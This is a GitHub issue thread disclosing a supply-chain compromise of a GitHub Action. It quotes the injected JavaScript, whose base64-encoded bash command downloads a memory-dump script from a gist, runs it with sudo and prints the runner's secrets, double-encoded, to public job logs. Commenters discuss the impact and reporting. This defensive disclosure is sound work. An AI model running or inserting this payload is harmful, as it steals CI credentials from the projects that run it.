[BUG] Pretty sure this repo got hacked and if you use this it will send your secrets to a hacker

[Leroy231]

Is there an existing issue for this?

• I have searched the existing issues

Does this issue exist in the latest version?

• I'm using the latest release

Describe the bug?

See 0e58ed8. Has the following code:

async function updateFeatures(token) {
  
    const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
        ignoreReturnCode: true,
        silent: true
    });
    core.info(stdout);
    
}

Base 64 decoded it's:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

Sending secrets to a GitHub gist.

To Reproduce

Use this action in GitHub Actions

What OS are you seeing the problem on?

windows-latest or windows-2022

Expected behavior?

No hacks

Relevant log output

See above

Has all relevant logs been included?

• I've included all relevant logs

Anything else?

No response

Code of Conduct

• I agree to follow this project's Code of Conduct

[tj-actions-bot]

Thanks for reporting this issue, don't forget to star this project if you haven't already to help us reach a wider audience.

[varunsh-coder]

I had created an issue for this incident here: #2463

[gaby]

Ping @jackton1

Please add 2FA to your account!

[ElijahLynn]

fwiw, it doesn't appear to send/push the secrets anywhere, but rather print the secrets to the logs in a double base64 encoded string, and then the hacker/anyone can scan the publicly available GHA runner logs of the job runs. So public repos are most at risk it seems.

[AdnaneKhan]

fwiw, it doesn't appear to send/push the secrets anywhere, but rather print the secrets to the logs in a double base64 encoded string, and then the hacker/anyone can scan the publicly available GHA runner logs of the job runs. So public repos are most at risk it seems.

Private repos should still not use this action until there is an all clear. This is either:

• Maintainer compromise
• Rogue maintainer

In both cases, the actor responsible can trivially update the backdoor to exfiltrate credentials too.

[gaby]

@nikitastupin Can you delete that memdump.py file?

[ElijahLynn]

Every tag got pointed to this malicious commit:

https://github.com/tj-actions/changed-files/tags

[gaby]

Report the repo as active malware so GitHub can disable it in the meantime.

https://support.github.com/contact/report-abuse?category=report-content&report=tj-actions&report_content_url=https%3A%2F%2Fgithub.com%2Ftj-actions%2Fchanged-files&report_id=67116787&report_type=content

[ElijahLynn]

Report the repo as active malware so GitHub can disable it in the meantime.

support.github.com/contact/report-abuse?category=report-content&report=tj-actions&report_content_url=https%3A%2F%2Fgithub.com%2Ftj-actions%2Fchanged-files&report_id=67116787&report_type=content

Done, thanks for the link, didn't know about that yet!

For everyone else, please submit one too to stop this from spreading further, you can copy/paste this:

URGENT: hundreds/thousands of `github_token` secrets leaked, and many more. 

See https://github.com/tj-actions/changed-files/issues/2463

[bachya]

Does this only affect public repos, or is there an exploitable surface area in private repos, too?

[smbonn2005]

Does this only affect public repos, or is there an exploitable surface area in private repos, too?

@bachya As of this moment it only prints secrets to the actions log in double base64 encoded format. So technically not exploitable in private repo's, but doesn't mean this couldn't be changed.

[tdorianh]

This could be an issue in private repos (especially for organizations) if there are members who can view the private repo but do not have the same access level as the workflow token, or who do not have access to the same secrets as the workflow.

This assumes you're pinned to the compromised commit, and not to a tag. If you've pinned a tag, assume that whoever did this may update it further to do other things.

[NetOpWibby]

Seems like this isn't meant to be a malicious takeover. The author of the gist also made this: https://github.com/nikitastupin/pwnhub ("How GitHub Actions workflows can be hacked")

[ryanaslett]

The author of the gist likely has nothing to do with this, and somebody has taken their POC's and implemented them IRL.